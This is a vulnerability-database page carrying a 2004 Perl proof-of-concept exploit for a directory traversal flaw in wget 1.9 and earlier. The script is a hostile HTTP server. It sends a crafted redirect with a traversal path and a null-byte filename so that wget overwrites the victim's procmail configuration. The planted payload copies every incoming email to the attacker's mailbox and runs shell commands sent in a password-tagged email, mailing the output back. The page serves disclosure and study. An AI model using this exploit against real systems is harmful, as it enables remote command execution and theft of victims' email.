Lucene search
K

wget <= 1.9 - Directory Traversal exploit

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 21 Views

wget <= 1.9 Directory Traversal exploit with shell command execution

Code

                                                #!/usr/bin/perl -W
# wgettrap.poc -- A POC for the wget(1) directory traversal vulnerability
#
# Copyright 2004 Jan Min=C3=A1=C5=99 (jjminar fastmail fm)
# License: Public Domain - SECU
#
# When wget connects to us, we send it a HTTP redirect constructed so that wget
# wget will connect the second time, it will be attempting to override
# ~/.procm4ilrc (well, provided that the user running wget has username &#39;jan&#39;
# 8-)).

use POSIX qw(strftime);

# This is our scheme/host/port
$server =3D &#34;http://localhost:31340&#34;;
# Use this + DNS poisoning with wget 1.9 & CVS
#$server =3D &#34;http://..&#34;;

# Wanna know who got infected?=20
#$log =3D &#34;/dev/pts/1&#34;;

# The filename we will try to overwrite on the target system
$filename =3D &#34;/home/jan/.procm4ilrc%00This%20part%20will%20be%20ignored.&#34;;

############### Payload #########################################
$email =3D &#39;your@mailbox&#39;;
$password =3D &#39;Pmrpuf ner cevzvgvirf&#39;;
$payload =3D &#60;&#60;EOP;
:0c
| mail -s &#39;Wgettrap mail copy&#39; $email
:0
* ^X-Wgettrap-Command: shell
* ^X-Wgettrap-Password: $password
| /bin/sh -c &#39;/bin/sh | mail -s &#34;Wgettrap shell output&#34; $email&#39;
EOP
chomp $payload;
############### Payload #########################################

# A simple directory traversal, for greater effect
$trick =3D &#34;/..&#34; . &#34;%2f..&#34; x 40;

open LOG, &#34;&#62;$log&#34; if $log;

while(&#60;STDIN&#62;){
print LOG $_ if $log;
if (/\Q$trick$filename\E/) {
#if (/%2f/) {
# We see the filename, so this is the second time
# they&#39;re here. Time to feed the sploit.
$second++;
} elsif (/^Range: bytes=3D\(33\)-/) {
# Appending goes like this:
# (1) Tell&#39;em what you&#39;re gonna tell&#39;em
# (2) Then tell&#39;em just a half
# (3) Close it
# (4) Wait
# (5) They&#39;re comin&#39; back, with wget -c
# (6) Tell&#39;em the sploit
# (7) Close again
# (8) Wtf? They&#39;re comin&#39; back with wget -c again
# (9) Tell&#39;em the rest...
# (10) ... enjoying the backdoor at the same time
print LOG &#34;File if $1 bytes long\n&#34; if $log;
} elsif (/^\r?$/) {
# The HTTP headers are over. Let&#39;s do it!
$date =3D strftime (&#34;%a, %e %b %Y %H:%M:%S %z&#34;, localtime);
if (!$second) {
# Print the payload
print &#60;&#60;EOT;
HTTP/1.1 301 Moved Permanently\r
Date: $date\r
Server: wgettrap 1.1\r
Accept-Ranges: bytes\r
Location: $server$trick$filename\r
Content-Length: 43\r
Connection: close\r
Content-Type: text/html\r
\r
&#60;html&#62;&#60;head&#62;&#60;title&#62;&#60;/title&#62;&#60;/head&#62;&#60;/html&#62;\r
EOT
} else {
# Print the redirection
print &#60;&#60;EOT;
HTTP/1.1 200 OK\r
Date: $date\r
Server: wgettrap 1.1\r
Accept-Ranges: bytes\r
Content-Length: 25\r
Connection: close\r
Content-Type: text/plain\r
\r
$payload
EOT
}
exit 0;
}
}

# milw0rm.com [2004-12-15]

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

01 Jul 2014 00:00Current
7.1High risk
Vulners AI Score7.1
21